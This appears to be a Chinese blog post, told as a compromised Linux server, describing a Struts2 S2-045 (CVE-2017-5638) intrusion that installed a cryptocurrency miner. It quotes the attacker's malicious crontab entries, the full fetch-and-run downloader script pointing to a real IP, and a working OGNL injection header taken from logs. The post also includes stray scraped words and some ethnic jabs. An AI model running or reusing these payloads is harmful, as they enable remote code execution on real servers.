我居然被抓去作了比特幣挖礦工

引言

世界上仍是牛人多,在2011年的時候,一名大三的學生有了困擾,隨後上知乎發佈了一個提問大三學生手頭有6000元,有什麼好的理財投資建議?在2017年的今天,上到了知乎熱門提問,由於在提問下面有一個得到上萬點讚的回答買「比特幣,保存好錢包文件,而後忘掉你有過6000元這回事,五年後再看看。java

原由

我是一個服務器,而且仍是一個內網的Linux服務器,外面武裝了天清漢馬防火牆,內部有firewall,強大的密碼組合,甚至本身都記不清到底幾位數,這幾年我甚是清閒,清閒的感受本身有點混日子,然就是這樣一個與世無爭的我仍是被無情的攻擊了。程序員

那天清晨,感受大腦有點發燒,趕忙發出一條top指令:apache

top - 20:07:49 up 70 days,  8:53,  2 users,  load average: 5.71, 5.07, 2.93
Tasks: 200 total,   1 running, 199 sleeping,   0 stopped,   0 zombie
%Cpu(s): 50.2 us,  0.1 sy,  0.0 ni, 49.7 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem : 65401524 total, 36266252 free, 13198040 used, 15937232 buff/cache
KiB Swap: 32834556 total, 32803700 free,    30856 used. 51442368 avail Mem 
  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
17257 root      20   0  591340  15220    556 S 599.7  0.0  67:13.74 atd
15768 root      20   0 15.369g 2.319g  18048 S   1.7  3.7   4:10.49 java

發現了一條詭異的進程atd,CPU佔用竟然將近600%,執行命令ps -eaf|grep atd:瀏覽器

[root@itstyle tmp]# ps -ef|grep atd
root     17257     1 99 19:56 ?        01:22:31 ./atd -c trtgsasefd.conf -t 6
root     17475 17165  0 20:10 pts/0    00:00:00 grep --color=auto atd

緊接着find / -name atd查找相關指令存放地點。安全

[root@itstyle tmp]# find / -name atd
/var/tmp/atd

忽然以爲仍是先把這個atd進程殺掉爲好,kill -9 17257,當即立刻迅速強行殺死。bash

隨後退燒了,但可惡的是,不到幾分鐘,又燒了,一看又是atd這個進程在運行。服務器

殺掉後從新運行,必定是在某個地方有定時,檢查了一下定時任務,crontab -l:網絡

[root@itstyle tmp]# crontab -l
*/20 * * * * wget -O - -q http://5.188.87.11/icons/logo.jpg|sh
*/19 * * * * curl http://5.188.87.11/icons/logo.jpg|sh

擦,之前的定時腳本不見了,多了兩條奇怪的任務,裏面有個網址很特別,複製到瀏覽器訪問,本覺得是個美女或者驚悚圖,結果是個大黑圖,F12圖片網絡請求發現Response中竟然存在以下代碼:session

#!/bin/sh
rm -rf /var/tmp/bmsnxvpggm.conf
ps auxf|grep -v grep|grep -v trtgsasefd|grep "/tmp/"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\./"|grep 'httpd.conf'|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "bmsnxvpggm"|awk '{print $2}'|xargs kill -9
ps -fe|grep -e "trtgsasefd" -e "ixcnkupikm" -e "jmzaazwiom" -e "erlimkvsmb" -e "pdnpiqlnaa" -e "zhoimvmfqo"|grep -v grep
if [ $? -ne 0 ]
then
echo "start process....."
chmod 777 /var/tmp/trtgsasefd.conf
rm -rf /var/tmp/trtgsasefd.conf
curl -o /var/tmp/trtgsasefd.conf http://5.188.87.11/icons/kworker.conf
wget -O /var/tmp/trtgsasefd.conf http://5.188.87.11/icons/kworker.conf
chmod 777 /var/tmp/atd
rm -rf /var/tmp/atd
rm -rf /var/tmp/sshd
cat /proc/cpuinfo|grep aes>/dev/null
if [ $? -ne 1 ]
then
curl -o /var/tmp/atd http://5.188.87.11/icons/kworker
wget -O /var/tmp/atd http://5.188.87.11/icons/kworker
else
curl -o /var/tmp/atd http://5.188.87.11/icons/kworker_na
wget -O /var/tmp/atd http://5.188.87.11/icons/kworker_na
fi
chmod +x /var/tmp/atd
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
nohup ./atd -c trtgsasefd.conf -t `echo $cores` >/dev/null &
else
echo "runing....."
fi

一坨腳本,狗日的 竟然有 rm -rf 這是要要了老子的命啊!!! 嚇大趕忙打開藍燈谷歌搜索這個命令,在virustotal找到如下說明:ssh

同時發現了一條四天前的評論,這是一個腳本,經過struts漏洞傳播下載和啓動一個bitcode礦工。

gov.lk中也發現了有一坨代碼,隱約發現與struts2有關:

因爲一些老舊項目還在使用struts2,因而查詢了一下相關日誌,竟然發現了傳說中的OGNL注入

org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/form-data stream, content type header is %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo "*/20 * * * * wget -O - -q http://91.230.47.40/icons/logo.jpg|sh\n*/19 * * * * curl http://91.230.47.40/icons/logo.jpg|sh" | crontab -;wget -O - -q http://91.230.47.40/icons/logo.jpg|sh').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

黑客攻擊者經過使用一個表單來發送一些內容到struts請求,該內容被OGNL解析,結果建立了crontab,擦,真是耳聞不如一見啊,也有中招的那一天,就這樣我變成了一個苦逼的挖礦工。

挖礦組織

Struts2的安全漏洞從2010年開始陸續被披露存在遠程代碼執行漏洞,從2010年的S2-00五、S2-00九、S2-013 S2-01六、S2-01九、S2-020、S2-03二、S2-03七、devMode、及2017年3月初Struts2披露的S045漏洞,每一次的漏洞爆發隨後互聯網都會出現Struts2掃描攻擊活動。

這次攻擊針對Struts2的遠程命令執行漏洞,漏洞編號:S2-045,CVE編號:CVE-2017-5638,官方評級爲高危,該漏洞是因爲在使用基於Jakarta插件的文件上傳功能條件下,惡意用戶能夠經過修改HTTP請求頭中的Content-Type值來觸發該漏洞,黑客經過批量對互聯網的WEB應用服務器發起攻擊,並下載惡意腳本執行下載進行比特幣挖礦程序,主要感染Linux服務器。

經檢測和搜索,這應該是一個有組織有紀律的挖礦集團,如下是IP地址來源,萬惡的蘇修主義啊,真是亡我天朝之心不死。

解決方案

Struts2升級版本至2.5.10,高危漏洞又來了,這是三月份的一篇升級,當時投機的仍是趕忙升了吧,若是實在不想升級,無所謂反正是挖礦,不會破壞你什麼。

可是,若是不挖礦呢,那就傻逼了?到時候就不是發燒那麼簡單了,不少公司上線部署都不是很規範,可能全部的程序都用root啓動也說不定呢?

如何注入

最後感受這纔是你們比較關注的問題,確定有很多小夥伴想知道黑客是怎麼注入的吧?

若是您要查看本帖隱藏內容請 回覆
人們都說,只要心夠誠,就能在西邊疙瘩山上尋得一當鋪,進去,便能改變你的一輩子,其實我也不知道。開個玩笑,感謝您賞臉讀到最後,祝你們閱讀愉快,工做順利,聽說留言的程序員都找到女票了!!!
相關文章
相關標籤/搜索
本站公眾號
   歡迎關注本站公眾號,獲取更多信息